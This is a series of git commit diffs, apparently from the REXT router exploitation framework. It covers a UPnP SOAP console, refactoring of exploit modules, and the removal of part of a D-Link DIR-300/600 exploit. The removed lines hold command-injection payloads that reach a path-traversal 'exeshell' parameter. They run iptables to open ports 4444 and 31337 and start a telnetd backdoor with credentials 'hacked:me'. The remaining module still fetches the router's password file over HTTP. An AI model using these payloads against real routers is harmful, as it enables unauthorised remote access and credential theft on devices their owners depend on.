sock.connect((host, port)) + + DEBUG = 0 + if DEBUG: + print(soapRequest) + + sock.send(bytes(soapRequest, 'UTF-8')) + while True: + data = sock.recv(self.max_recv) + if not data: + break + else: + soapResponse += data.decode('UTF-8') + if self.soapEnd.search(soapResponse.lower()) != None: + break + + sock.close() + (header, body) = soapResponse.split('\r\n\r\n', 1) + if not header.upper().startswith('HTTP/1.') and ' 200 ' in header.split('\r\n')[0]: + print('SOAP request failed with error code:', header.split('\r\n')[0].split(' ', 1)[1]) + errorMsg = self.extractSingleTag(body, 'errorDescription') + if errorMsg: + print('SOAP error message:', errorMsg) + return False + else: + return body + except Exception as e: + print('Caught socket exception:') + traceback.print_tb(e) + sock.close() + return False + except KeyboardInterrupt: + sock.close() + return False + + # Extract the contents of a single XML tag from the data + def extractSingleTag(self, data, tag): + startTag = "<%s" % tag + endTag = "" % tag + + try: + tmp = data.split(startTag)[1] + index = tmp.find('>') + if index != -1: + index += 1 + return tmp[index:].split(endTag)[0].strip() + except: + pass + return None + def do_device(self, e): # This was originally host command but since REXT uses host on something else... host_info = None args = e.split(' ') @@ -118,24 +244,191 @@ def do_device(self, e): # This was originally host command but since REXT uses return self.get_host_info(host_info, index) elif args[0] == "details": + try: + index = int(args[1]) + hostInfo = self.enum_hosts[index] + except Exception as e: + print("Index error") + return + + try: + # If this host data is already complete, just display it + if hostInfo['dataComplete'] == True: + self.showCompleteHostInfo(index, False) + else: + print("Can't show host info because I don't have it. Please run 'host get %d'" % index) + except KeyboardInterrupt as e: + pass + return + elif args[0] == "list": + if len(self.enum_hosts) == 0: + print("No known hosts - try running the 'msearch' or 'pcap' commands") + return + for index, hostInfo in self.enum_hosts.items(): + print("\t[%d] %s" % (index, hostInfo['name'])) + return + elif args[0] == "summary": + try: + index = int(args[1]) + hostInfo = self.enum_hosts[index] + except: + print("Index error") + return + + print('Host:', hostInfo['name']) + print('XML File:', hostInfo['xml_file']) + for deviceName, deviceData in hostInfo['deviceList'].items(): + print(deviceName) + for k, v in deviceData.items(): + if isinstance(v, dict): + continue + else: + print("\t%s: %s" % (k, v)) + # try: + # v.has_key(False) # Has key removed in python3 + # except: + # print("\t%s: %s" % (k,v)) + print('') + return + elif args[0] == 'info': + output = self.enum_hosts + dataStructs = [] + for arg in args[1:]: + try: + arg = int(arg) + except: + pass + output = output[arg] + try: + for k, v in output.items(): + if isinstance(v, dict): + dataStructs.append(k) + else: + print(k, ':', v) + continue + # try: + # v.has_key(False) + # dataStructs.append(k) + # except: + # print(k,':',v) + # continue + except: + print(output) + + for struct in dataStructs: + print(struct, ': {}') + return + elif args[0] == 'send': + # Send SOAP requests + index = False + inArgCounter = 0 + + if len(args) != 5: + # showHelp(argv[0]) + return + else: try: index = int(args[1]) hostInfo = self.enum_hosts[index] - except Exception as e: - print("Index error") + except: + print('indexError') return + deviceName = args[2] + serviceName = args[3] + actionName = args[4] + actionArgs = False + sendArgs = {} + retTags = [] + controlURL = False + fullServiceName = False + # Get the service control URL and full service name try: - #If this host data is already complete, just display it - if hostInfo['dataComplete'] == True: - self.showCompleteHostInfo(index,False) + controlURL = hostInfo['proto'] + hostInfo['name'] + controlURL2 = hostInfo['deviceList'][deviceName]['services'][serviceName]['controlURL'] + if not controlURL.endswith('/') and not controlURL2.startswith('/'): + controlURL += '/' + controlURL += controlURL2 + except Exception as e: + print('Caught exception:') + traceback.print_tb(e) + print("Are you sure you've run 'host get %d' and specified the correct service name?" % index) + return False + + # Get action info + try: + actionArgs = hostInfo['deviceList'][deviceName]['services'][serviceName]['actions'][actionName][ + 'arguments'] + fullServiceName = hostInfo['deviceList'][deviceName]['services'][serviceName]['fullName'] + except Exception as e: + print('Caught exception:') + traceback.print_tb(e) + print("Are you sure you've specified the correct action?") + return False + + for argName, argVals in actionArgs.items(): + actionStateVar = argVals['relatedStateVariable'] + stateVar = hostInfo['deviceList'][deviceName]['services'][serviceName]['serviceStateVariables'][ + actionStateVar] + + if argVals['direction'].lower() == 'in': + print("Required argument:") + print("\tArgument Name: ", argName) + print("\tData Type: ", stateVar['dataType']) + if 'allowedValueList' in stateVar: + print("\tAllowed Values:", stateVar['allowedValueList']) + if 'allowedValueRange' in stateVar: + print("\tValue Min: ", stateVar['allowedValueRange'][0]) + print("\tValue Max: ", stateVar['allowedValueRange'][1]) + if 'defaultValue' in stateVar: + print("\tDefault Value: ", stateVar['defaultValue']) + prompt = "\tSet %s value to: " % argName + try: + # Get user input for the argument value + (argc, argv) = self.getUserInput(prompt) + if argv is None: + print('Stopping send request...') + return + uInput = '' + + if argc > 0: + inArgCounter += 1 + + for val in argv: + uInput += val + ' ' + + uInput = uInput.strip() + if stateVar['dataType'] == 'bin.base64' and uInput: + uInput = base64.encodebytes(bytes(uInput, 'UTF-8')) + + sendArgs[argName] = (uInput.strip(), stateVar['dataType']) + except KeyboardInterrupt: + print("") + return + print('') else: - print("Can't show host info because I don't have it. Please run 'host get %d'" % index) - except KeyboardInterrupt as e: - pass - return + retTags.append((argName, stateVar['dataType'])) + # Remove the above inputs from the command history + # while inArgCounter: + # try: + # readline.remove_history_item(readline.get_current_history_length() - 1) + # except: + # pass + # + # inArgCounter -= 1 + # print 'Requesting',controlURL + soapResponse = self.sendSOAP(hostInfo['name'], fullServiceName, controlURL, actionName, sendArgs) + if soapResponse != False: + # It's easier to just parse this ourselves... + for (tag, dataType) in retTags: + tagValue = self.extractSingleTag(soapResponse, tag) + if dataType == 'bin.base64' and tagValue is not None: + #print(tagValue) + tagValue = base64.decodebytes(bytes(tagValue, 'UTF-8')) + print(tag, ':', tagValue) + return Upnp() From ce7ad52648a2e9766523ee74478ece294b4dbefe Mon Sep 17 00:00:00 2001 From: j91321 Date: Sun, 21 Aug 2016 12:52:22 +0200 Subject: [PATCH 04/14] Changed .travis.yml to exclude development branch, dir300_600 and 615 information disclosure exploit --- .travis.yml | 5 +- modules/exploits/dlink/dir300_600_info.py | 61 ----------------------- 2 files changed, 4 insertions(+), 62 deletions(-) diff --git a/.travis.yml b/.travis.yml index 04ac520..0dbb9bd 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,4 +7,7 @@ python: install: "pip install -r requirements.txt" #run tests script: - - python -m unittest discover ./tests \ No newline at end of file + - python -m unittest discover ./tests +branches: + except: + - devel \ No newline at end of file diff --git a/modules/exploits/dlink/dir300_600_info.py b/modules/exploits/dlink/dir300_600_info.py index d46aea7..6754783 100644 --- a/modules/exploits/dlink/dir300_600_info.py +++ b/modules/exploits/dlink/dir300_600_info.py @@ -44,10 +44,6 @@ def __init__(self): def do_run(self, e): url = "http://%s:%s/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd" % (self.host, self.port) - proxies = { - "http": "http://127.0.0.1:8080", - "https": "http://127.0.0.1:8080", - } try: print_yellow("Sending exploit") response = requests.get(url, timeout=60) @@ -55,63 +51,6 @@ def do_run(self, e): print_success("credentials fetched") credentials = re.findall("
\n\t\t\t(.*)", response.text) print_green(credentials[0]) - print_yellow("Changing iptables") - url = "http://%s:%s/tools_system.xgi?" % (self.host, self.port) - - data = OrderedDict([('random_num', '2011.9.22.13.59.33'), - ('exeshell', '../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport 4444 -j ACCEPT'), - ('set/runtime/syslog/sendmail', 1)]) - query = urllib.parse.urlencode(data) - query = query.replace('%2F', '/') - query = query.replace('+', ' ') - query = query.replace('%20', ' ') - query = query.replace('%3D', '=') - query = query.replace('%3A', ':') - print(query) - full_url = url + query - headers = {'Accept': '*/*'} - try: - req = urllib.request.Request(full_url, headers=headers) - data = urllib.request.urlopen(req) - except urllib.error.HTTPError as e: - print(e) - - data = OrderedDict([('random_num', '2011.9.22.13.59.33'), - ('exeshell', '../../../../usr/sbin/iptables -t nat -A PRE_MISC -i eth0.2 -p tcp --dport 31337 -j ACCEPT'), - ('set/runtime/syslog/sendmail', 1)]) - query = urllib.parse.urlencode(data) - query = query.replace('%2F', '/') - query = query.replace('+', ' ') - query = query.replace('%20', ' ') - query = query.replace('%3D', '=') - query = query.replace('%3A', ':') - print(query) - full_url = url + query - try: - data = urllib.request.urlopen(full_url) - except urllib.error.HTTPError as e: - print(e) - - - print_yellow("Starting telnetd") - data = OrderedDict([('random_num', '2011.9.22.13.59.33'), - ('exeshell', '../../../../usr/sbin/telnetd -p 4444 -l /usr/sbin/login -u hacked:me'), - ('set/runtime/syslog/sendmail', 1)]) - query = urllib.parse.urlencode(data) - query = query.replace('%2F', '/') - query = query.replace('+', ' ') - query = query.replace('%20', ' ') - query = query.replace('%3D', '=') - query = query.replace('%3A', ':') - print(query) - full_url = url + query - try: - data = urllib.request.urlopen(full_url) - except urllib.error.HTTPError as e: - print(e) - print_green("With a little luck telnetd is running on 4444") - else: - print_error("exploit failed") except requests.Timeout: print_error("timeout") except requests.ConnectionError: From b62e3e83419d4bac576e9ca35728239d367a9ea0 Mon Sep 17 00:00:00 2001 From: j91321 Date: Mon, 22 Aug 2016 00:04:23 +0200 Subject: [PATCH 05/14] added add command to upnp_console, did a lot of refactoring on messages, got rid of colourful prints and replaced with metasploit-like output --- core/Decryptor.py | 4 +- core/Exploit.py | 6 +- core/Scanner.py | 6 +- core/Upnp.py | 646 ------------ core/io.py | 6 +- core/updater.py | 6 +- interface/cmdui.py | 18 +- interface/messages.py | 24 +- .../decryptors/draytek/vigor_config_old.py | 16 +- .../decryptors/draytek/vigor_fw_decompress.py | 10 +- .../decryptors/zte/config_zlib_decompress.py | 4 +- modules/exploits/dlink/dir300_600_exec.py | 9 +- modules/exploits/dlink/dir300_600_info.py | 8 +- .../exploits/dlink/dir300_615_auth_bypass.py | 11 +- modules/exploits/dlink/dir645_auth_bypass.py | 8 +- modules/exploits/dlink/dir815_645_exec.py | 6 +- modules/exploits/dlink/dir890l_soapaction.py | 14 +- modules/exploits/dlink/dsl_2750b_info.py | 6 +- .../exploits/linksys/ea6100_auth_bypass.py | 12 +- modules/exploits/linksys/wap54gv3_exec.py | 6 +- modules/exploits/netgear/n300_auth_bypass.py | 4 +- modules/exploits/netgear/prosafe_exec.py | 8 +- modules/exploits/netgear/rp614_auth_bypass.py | 4 +- modules/exploits/netgear/wg102_exec.py | 17 +- modules/exploits/netgear/wndr_auth_bypass.py | 52 +- modules/exploits/zte/f660_config_download.py | 6 +- modules/exploits/zyxel/rom-0.py | 4 +- modules/misc/accton/switch_backdoor_gen.py | 12 +- modules/misc/adb/a1_default_wpa_key.py | 16 +- modules/misc/adb/alice_cpe_backdoor.py | 12 +- modules/misc/arris/dg860a_mac2wps.py | 12 +- modules/misc/arris/tm602a_password_day.py | 18 +- modules/misc/belkin/mac2wps.py | 12 +- modules/misc/cobham/admin_reset_code.py | 8 +- modules/misc/draytek/vigor_master_key.py | 10 +- modules/misc/generic/http_ping.py | 18 +- modules/misc/generic/upnp_console.py | 963 +++++++++++++++--- modules/misc/huawei/hg520_mac2wep.py | 12 +- modules/misc/huawei/hg8245_mac2wpa.py | 10 +- modules/misc/pirelli/drg_a255_mac2wpa.py | 12 +- modules/misc/sagem/fast_telnet_password.py | 10 +- modules/misc/sitecom/wlr-400X_mac2wpa.py | 14 +- modules/misc/vodafone/easybox_wpa2_keygen.py | 12 +- .../scanners/allegrosoft/misfortune_cookie.py | 6 +- tests/test_messages.py | 12 +- 45 files changed, 1074 insertions(+), 1016 deletions(-) delete mode 100644 core/Upnp.py diff --git a/core/Decryptor.py b/core/Decryptor.py index a41bf2e..02c86d6 100644 --- a/core/Decryptor.py +++ b/core/Decryptor.py @@ -7,7 +7,7 @@ import core.globals import interface.utils -from interface.messages import print_error, print_help +from interface.messages import print_error, print_help, print_info class RextDecryptor(cmd.Cmd): @@ -39,7 +39,7 @@ def do_set(self, e): print_error("please specify value for variable") def do_file(self, e): - print(self.input_file) + print_info(self.input_file) def help_exit(self): print_help("Exit script") diff --git a/core/Exploit.py b/core/Exploit.py index 677d884..eb86b7a 100644 --- a/core/Exploit.py +++ b/core/Exploit.py @@ -7,7 +7,7 @@ import core.globals import interface.utils -from interface.messages import print_error, print_help +from interface.messages import print_error, print_help, print_info class RextExploit(cmd.Cmd): @@ -45,10 +45,10 @@ def do_info(self, e): print(self.__doc__) def do_host(self, e): - print(self.host) + print_info(self.host) def do_port(self, e): - print(self.port) + print_info(self.port) def help_exit(self): print_help("Exit script") diff --git a/core/Scanner.py b/core/Scanner.py index c60848d..a1a13d6 100644 --- a/core/Scanner.py +++ b/core/Scanner.py @@ -7,7 +7,7 @@ import core.globals import interface.utils -from interface.messages import print_help, print_error +from interface.messages import print_help, print_error, print_info class RextScanner(cmd.Cmd): @@ -42,10 +42,10 @@ def do_set(self, e): print_error("port value must be integer") def do_host(self, e): - print(self.host) + print_info(self.host) def do_port(self, e): - print(self.port) + print_info(self.port) def help_exit(self): print_help("Exit script") diff --git a/core/Upnp.py b/core/Upnp.py deleted file mode 100644 index b144a75..0000000 --- a/core/Upnp.py +++ /dev/null @@ -1,646 +0,0 @@ -# This file is part of REXT -# core.Upnp.py - super class for UPNP scripts -# Author: Ján Trenčanský -# Original: Craig Heffner -# Disclaimer: most of the code is ported to python 3 from his awesome miranda-upnp tool -# his tool has only one disadvantage, very bad UI in my opinion -# https://code.google.com/archive/p/mirandaupnptool/ -# License: GNU GPL v3 - -import cmd -import socket -import struct -import select -import requests -import xml.dom.minidom -import time -import re -import traceback -import sys - -import core.globals -import interface.utils -from interface.messages import print_error, print_help, print_info, print_warning, print_red, print_blue - - -class Upnp(cmd.Cmd): - host = "239.255.255.250" # Should be modifiable - port = 1900 # and this - msearchHeaders = {'MAN': '"ssdp:discover"', 'MX': '2'} - upnp_version = '1.0' - max_recv = 8192 - max_hosts = 0 - timeout = 0 # and this - http_headers = [] - enum_hosts = {} - verbose = False # and this - uniq = True # and this - log_file = False # and this - batch_file = None # and this - interface = None # and this - csock = False - ssock = False - mreq = None - soapEnd = None - - def __init__(self): - cmd.Cmd.__init__(self) - interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) - self.soapEnd = re.compile('<\/.*:envelope>') - self.initialize_sockets() - self.cmdloop() - - def initialize_sockets(self): - try: - # This is needed to join a multicast group - self.mreq = struct.pack("4sl", socket.inet_aton(self.host), socket.INADDR_ANY) - # Set up client socket - self.csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - self.csock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) - # Set up server socket - self.ssock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) - self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - # BSD systems also need to set SO_REUSEPORT - try: - self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - except Exception: - pass - - # Only bind to this interface - if self.interface is not None: - print_info("Binding to interface: " + self.interface) - self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, - struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) - self.csock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, - struct.pack("%ds" % (len(self.interface) + 1,), self.interface)) - - try: - self.ssock.bind(('', self.port)) - except Exception: - print_warning("failed to bind: " + self.host + ":" + str(self.port) + " ") - try: - self.ssock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, self.mreq) - except Exception: - print_warning("failed to join multicast group") - except Exception: - print_error("failed to initialize UPNP sockets") - return False - return True - - # Clean up file/socket descriptors - def cleanup(self): - self.csock.close() - self.ssock.close() - - # Send network data - def send(self, data, socket): - # By default, use the client socket that's part of this class - if not socket: - socket = self.csock - try: - socket.sendto(bytes(data, 'UTF-8'), (self.host, self.port)) - return True - except Exception as e: - print_error("send method failed for " + self.host + ":" + str(self.port)) - print(e) - return False - - # Receive network data - def recieve(self, size, socket): - if not socket: - socket = self.ssock - - if self.timeout: - socket.setblocking(0) - ready = select.select([socket], [], [], self.timeout)[0] - else: - socket.setblocking(1) - ready = True - try: - if ready: - return socket.recv(size) - else: - return False - except: - return False - - # Create new UDP socket on ip, bound to port - def create_new_listener(self, ip, port): - try: - newsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) - newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - # BSD systems also need to set SO_REUSEPORT - try: - newsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - except: - pass - newsock.bind((ip, port)) - return newsock - except Exception: - return False - - # Return the class's primary server socket - def listener(self): - return self.ssock - - # Return the class's primary client socket - def sender(self): - return self.csock - - # Parse a URL, return the host and the page - def parse_url(self, url): - delim = '://' - host = False - page = False - - # Split the host and page - try: - (host, page) = url.split(delim)[1].split('/', 1) - page = '/' + page - except: - # If '://' is not in the url, then it's not a full URL, so assume that it's just a relative path - page = url - - return host, page - - # Pull the header info for the specified HTTP header - case insensitive - def parse_header(self, data, header): - delimiter = "%s:" % header - lowerdelim = delimiter.lower() - dataarray = data.split("\r\n") - - # Loop through each line of the headers - for line in dataarray: - lowerline = line.lower() - # Does this line start with the header we're looking for? - if lowerline.startswith(lowerdelim): - try: - return line.split(':', 1)[1].strip() - except: - print_error("parsing header data failed for: " + header) - - # Parses SSDP notify and reply packets, and populates the ENUM_HOSTS dict - def parseSSDPInfo(self, data, showUniq, verbose): - data = data.decode('utf-8') # When Ctl-C is pressed data is set to False and exception should be raised - host_found = False - found_location = False - message_type = None - xml_file = None - host = False - page = False - upnp_type = None - known_headers = {'NOTIFY': 'notification', 'HTTP/1.1 200 OK': 'reply'} - - # Use the class defaults if these aren't specified - if not showUniq: - showUniq = self.uniq - if not verbose: - verbose = self.verbose - - # Is the SSDP packet a notification, a reply, or neither? - for text, message_type in known_headers.items(): - if data.upper().startswith(text): - break - else: - message_type = False - - # If this is a notification or a reply message... - if message_type: - # Get the host name and location of its main UPNP XML file - xml_file = self.parse_header(data, "LOCATION") - upnp_type = self.parse_header(data, "SERVER") - (host, page) = self.parse_url(xml_file) - - # Sanity check to make sure we got all the info we need - if xml_file is None or host == False or page == False: - print_error("parsing recieved header:") - print_red(data) - return False - - # Get the protocol in use (i.e., http, https, etc) - protocol = xml_file.split('://')[0] + '://' - - # Check if we've seen this host before; add to the list of hosts if: - # 1. This is a new host - # 2. We've already seen this host, but the uniq hosts setting is disabled - for hostID, hostInfo in self.enum_hosts.items(): - if hostInfo['name'] == host: - host_found = True - if self.uniq: - return False - - if (host_found and not self.uniq) or not host_found: - # Get the new host's index number and create an entry in ENUM_HOSTS - index = len(self.enum_hosts) - self.enum_hosts[index] = { - 'name': host, - 'dataComplete': False, - 'proto': protocol, - 'xml_file': xml_file, - 'serverType': None, - 'upnpServer': upnp_type, - 'deviceList': {} - } - # Be sure to update the command completer so we can tab complete through this host's data structure - # self.updateCmdCompleter(self.ENUM_HOSTS) - - # Print out some basic device info - print_blue("SSDP " + message_type + " message from " + host) - - if xml_file: - found_location = True - print_blue("XML file is located at " + xml_file) - - if upnp_type: - print_blue("Device is running: " + upnp_type) - - return True - - # Send GET request for a UPNP XML file - def get_xml(self, url): - headers = {'USER-AGENT': 'uPNP/' + self.upnp_version, - 'CONTENT-TYPE': 'text/xml; charset="utf-8"'} - - try: - # Use urllib2 for the request, it's awesome - #req = urllib.Request(url, None, headers) # This is GET - #response = urllib.urlopen(req) - response = requests.get(url, headers=headers, timeout=60) - output = response.text - headers = response.headers - return headers, output - except Exception: - print("Request for '%s' failed" % url) - return False, False - - #Pull the name of the device type from a device type string - #The device type string looks like: 'urn:schemas-upnp-org:device:WANDevice:1' - def parseDeviceTypeName(self,string): - delim1 = 'device:' - delim2 = ':' - - if delim1 in string and not string.endswith(delim1): - return string.split(delim1)[1].split(delim2,1)[0] - return False - - #Pull the name of the service type from a service type string - #The service type string looks like: 'urn:schemas-upnp-org:service:Layer3Forwarding:1' - def parseServiceTypeName(self,string): - delim1 = 'service:' - delim2 = ':' - - if delim1 in string and not string.endswith(delim1): - return string.split(delim1)[1].split(delim2,1)[0] - return False - - #Get info about a service's state variables - def parseServiceStateVars(self,xmlRoot,servicePointer): - - na = 'N/A' - varVals = ['sendEvents','dataType','defaultValue','allowedValues'] - serviceStateTable = 'serviceStateTable' - stateVariable = 'stateVariable' - nameTag = 'name' - dataType = 'dataType' - sendEvents = 'sendEvents' - allowedValueList = 'allowedValueList' - allowedValue = 'allowedValue' - allowedValueRange = 'allowedValueRange' - minimum = 'minimum' - maximum = 'maximum' - - #Create the serviceStateVariables entry for this service in ENUM_HOSTS - servicePointer['serviceStateVariables'] = {} - - #Get a list of all state variables associated with this service - try: - stateVars = xmlRoot.getElementsByTagName(serviceStateTable)[0].getElementsByTagName(stateVariable) - except: - #Don't necessarily want to throw an error here, as there may be no service state variables - return False - - #Loop through all state variables - for var in stateVars: - for tag in varVals: - #Get variable name - try: - varName = str(var.getElementsByTagName(nameTag)[0].childNodes[0].data) - except: - print('Failed to get service state variable name for service %s!' % servicePointer['fullName']) - continue - - servicePointer['serviceStateVariables'][varName] = {} - try: - servicePointer['serviceStateVariables'][varName]['dataType'] = str(var.getElementsByTagName(dataType)[0].childNodes[0].data) - except: - servicePointer['serviceStateVariables'][varName]['dataType'] = na - try: - servicePointer['serviceStateVariables'][varName]['sendEvents'] = str(var.getElementsByTagName(sendEvents)[0].childNodes[0].data) - except: - servicePointer['serviceStateVariables'][varName]['sendEvents'] = na - - servicePointer['serviceStateVariables'][varName][allowedValueList] = [] - - #Get a list of allowed values for this variable - try: - vals = var.getElementsByTagName(allowedValueList)[0].getElementsByTagName(allowedValue) - except: - pass - else: - #Add the list of allowed values to the ENUM_HOSTS dictionary - for val in vals: - servicePointer['serviceStateVariables'][varName][allowedValueList].append(str(val.childNodes[0].data)) - - #Get allowed value range for this variable - try: - valList = var.getElementsByTagName(allowedValueRange)[0] - except: - pass - else: - #Add the max and min values to the ENUM_HOSTS dictionary - servicePointer['serviceStateVariables'][varName][allowedValueRange] = [] - try: - servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(minimum)[0].childNodes[0].data)) - servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(maximum)[0].childNodes[0].data)) - except: - pass - return True - - #Parse details about each service (arguements, variables, etc) - def parseServiceInfo(self,service,index): - argIndex = 0 - argTags = ['direction','relatedStateVariable'] - actionList = 'actionList' - actionTag = 'action' - nameTag = 'name' - argumentList = 'argumentList' - argumentTag = 'argument' - - #Get the full path to the service's XML file - xmlFile = self.enum_hosts[index]['proto'] + self.enum_hosts[index]['name'] - if not xmlFile.endswith('/') and not service['SCPDURL'].startswith('/'): - try: - xmlServiceFile = self.enum_hosts[index]['xml_file'] - slashIndex = xmlServiceFile.rfind('/') - xmlFile = xmlServiceFile[:slashIndex] + '/' - except: - xmlFile += '/' - - if self.enum_hosts[index]['proto'] in service['SCPDURL']: - xmlFile = service['SCPDURL'] - else: - xmlFile += service['SCPDURL'] - service['actions'] = {} - - #Get the XML file that describes this service - (xmlHeaders,xmlData) = self.get_xml(xmlFile) - if not xmlData: - print('Failed to retrieve service descriptor located at:',xmlFile) - return False - - try: - xmlRoot = xml.dom.minidom.parseString(xmlData) - - #Get a list of actions for this service - try: - actionList = xmlRoot.getElementsByTagName(actionList)[0] - except: - print('Failed to retrieve action list for service %s!' % service['fullName']) - return False - actions = actionList.getElementsByTagName(actionTag) - if actions == []: - return False - - #Parse all actions in the service's action list - for action in actions: - #Get the action's name - try: - actionName = str(action.getElementsByTagName(nameTag)[0].childNodes[0].data).strip() - except: - print('Failed to obtain service action name (%s)!' % service['fullName']) - continue - - #Add the action to the ENUM_HOSTS dictonary - service['actions'][actionName] = {} - service['actions'][actionName]['arguments'] = {} - - #Parse all of the action's arguments - try: - argList = action.getElementsByTagName(argumentList)[0] - except: - #Some actions may take no arguments, so continue without raising an error here... - continue - - #Get all the arguments in this action's argument list - arguments = argList.getElementsByTagName(argumentTag) - if arguments == []: - if self.verbose: - print('Action',actionName,'has no arguments!') - continue - - #Loop through the action's arguments, appending them to the ENUM_HOSTS dictionary - for argument in arguments: - try: - argName = str(argument.getElementsByTagName(nameTag)[0].childNodes[0].data) - except: - print('Failed to get argument name for',actionName) - continue - service['actions'][actionName]['arguments'][argName] = {} - - #Get each required argument tag value and add them to ENUM_HOSTS - for tag in argTags: - try: - service['actions'][actionName]['arguments'][argName][tag] = str(argument.getElementsByTagName(tag)[0].childNodes[0].data) - except: - print('Failed to find tag %s for argument %s!' % (tag,argName)) - continue - - #Parse all of the state variables for this service - self.parseServiceStateVars(xmlRoot,service) - - except Exception as e: - print('Caught exception while parsing Service info for service %s: %s' % (service['fullName'],str(e))) - return False - - return True - - #Parse the list of services specified in the XML file - def parseServiceList(self,xmlRoot,device,index): - serviceEntryPointer = False - dictName = "services" - serviceListTag = "serviceList" - serviceTag = "service" - serviceNameTag = "serviceType" - serviceTags = ["serviceId","controlURL","eventSubURL","SCPDURL"] - - try: - device[dictName] = {} - #Get a list of all services offered by this device - for service in xmlRoot.getElementsByTagName(serviceListTag)[0].getElementsByTagName(serviceTag): - #Get the full service descriptor - serviceName = str(service.getElementsByTagName(serviceNameTag)[0].childNodes[0].data) - - #Get the service name from the service descriptor string - serviceDisplayName = self.parseServiceTypeName(serviceName) - if not serviceDisplayName: - continue - - #Create new service entry for the device in ENUM_HOSTS - serviceEntryPointer = device[dictName][serviceDisplayName] = {} - serviceEntryPointer['fullName'] = serviceName - - #Get all of the required service info and add it to ENUM_HOSTS - for tag in serviceTags: - serviceEntryPointer[tag] = str(service.getElementsByTagName(tag)[0].childNodes[0].data) - - #Get specific service info about this service - self.parseServiceInfo(serviceEntryPointer,index) - except Exception as e: - print('Caught exception while parsing device service list:', e) - - # Parse device info from the retrieved XML file - def parseDeviceInfo(self, xmlRoot,index): - deviceEntryPointer = False - devTag = "device" - deviceType = "deviceType" - deviceListEntries = "deviceList" - deviceTags = ["friendlyName","modelDescription","modelName","modelNumber","modelURL","presentationURL","UDN","UPC","manufacturer","manufacturerURL"] - - #Find all device entries listed in the XML file - for device in xmlRoot.getElementsByTagName(devTag): - try: - #Get the deviceType string - deviceTypeName = str(device.getElementsByTagName(deviceType)[0].childNodes[0].data) - except: - continue - - #Pull out the action device name from the deviceType string - deviceDisplayName = self.parseDeviceTypeName(deviceTypeName) - if not deviceDisplayName: - continue - - #Create a new device entry for this host in the ENUM_HOSTS structure - deviceEntryPointer = self.enum_hosts[index][deviceListEntries][deviceDisplayName] = {} - deviceEntryPointer['fullName'] = deviceTypeName - - #Parse out all the device tags for that device - for tag in deviceTags: - try: - deviceEntryPointer[tag] = str(device.getElementsByTagName(tag)[0].childNodes[0].data) - except Exception as e: - if self.verbose: - print('Device',deviceEntryPointer['fullName'],'does not have a', tag) - continue - #Get a list of all services for this device listing - self.parseServiceList(device,deviceEntryPointer,index) - - return - -#Display all info for a given host - def showCompleteHostInfo(self,index,fp): - na = 'N/A' - serviceKeys = ['controlURL','eventSubURL','serviceId','SCPDURL','fullName'] - if fp == False: - fp = sys.stdout - - if index < 0 or index >= len(self.enum_hosts): - fp.write('Specified host does not exist...\n') - return - try: - hostInfo = self.enum_hosts[index] - if hostInfo['dataComplete'] == False: - print("Cannot show all host info because I don't have it all yet. Try running 'host info %d' first...\n" % index) - fp.write('Host name: %s\n' % hostInfo['name']) - fp.write('UPNP XML File: %s\n\n' % hostInfo['xml_file']) - - fp.write('\nDevice information:\n') - for deviceName,deviceStruct in hostInfo['deviceList'].items(): - fp.write('\tDevice Name: %s\n' % deviceName) - for serviceName,serviceStruct in deviceStruct['services'].items(): - fp.write('\t\tService Name: %s\n' % serviceName) - for key in serviceKeys: - fp.write('\t\t\t%s: %s\n' % (key,serviceStruct[key])) - fp.write('\t\t\tServiceActions:\n') - for actionName,actionStruct in serviceStruct['actions'].items(): - fp.write('\t\t\t\t%s\n' % actionName) - for argName,argStruct in actionStruct['arguments'].items(): - fp.write('\t\t\t\t\t%s \n' % argName) - for key,val in argStruct.items(): - if key == 'relatedStateVariable': - fp.write('\t\t\t\t\t\t%s:\n' % val) - for k,v in serviceStruct['serviceStateVariables'][val].items(): - fp.write('\t\t\t\t\t\t\t%s: %s\n' % (k,v)) - else: - fp.write('\t\t\t\t\t\t%s: %s\n' % (key,val)) - - except Exception as e: - print('Caught exception while showing host info:') - traceback.print_stack(e) - - # Wrapper function... - def getHostInfo(self, xmlData, xmlHeaders, index): - if self.enum_hosts[index]['dataComplete']: - return - - if 0 <= index < len(self.enum_hosts): - try: - xmlRoot = xml.dom.minidom.parseString(xmlData) - self.parseDeviceInfo(xmlRoot, index) - #self.enum_hosts[index]['serverType'] = xmlHeaders.getheader('Server') - self.enum_hosts[index]['serverType'] = xmlHeaders['Server'] - self.enum_hosts[index]['dataComplete'] = True - return True - except Exception as e: - print('Caught exception while getting host info:') - traceback.print_stack(e) - return False - - def do_exit(self, e): - return True - - def do_run(self, e): - self.cleanup() - pass - - def do_set(self, e): - args = e.split(' ') - try: - if args[0] == "host": - if interface.utils.validate_ipv4(args[1]): - self.host = args[1] - else: - print_error("please provide valid IPv4 address") - elif args[0] == "port": - if str.isdigit(args[1]): - self.port = args[1] - else: - print_error("port value must be integer") - except IndexError: - print_error("please specify value for variable") - - def do_info(self, e): - print(self.__doc__) - - def do_host(self, e): - print(self.host) - - def do_port(self, e): - print(str(self.port)) - - def help_exit(self): - print_help("Exit script") - - def help_run(self): - print_help("Run script") - - def help_host(self): - print_help("Prints current value of host") - - def help_port(self): - print_help("Prints current value of port") - - def help_set(self): - print_help("Set value of variable: \"set host 192.168.1.1\"") - - def help_info(self, e): - print_help("Show info about loaded module") diff --git 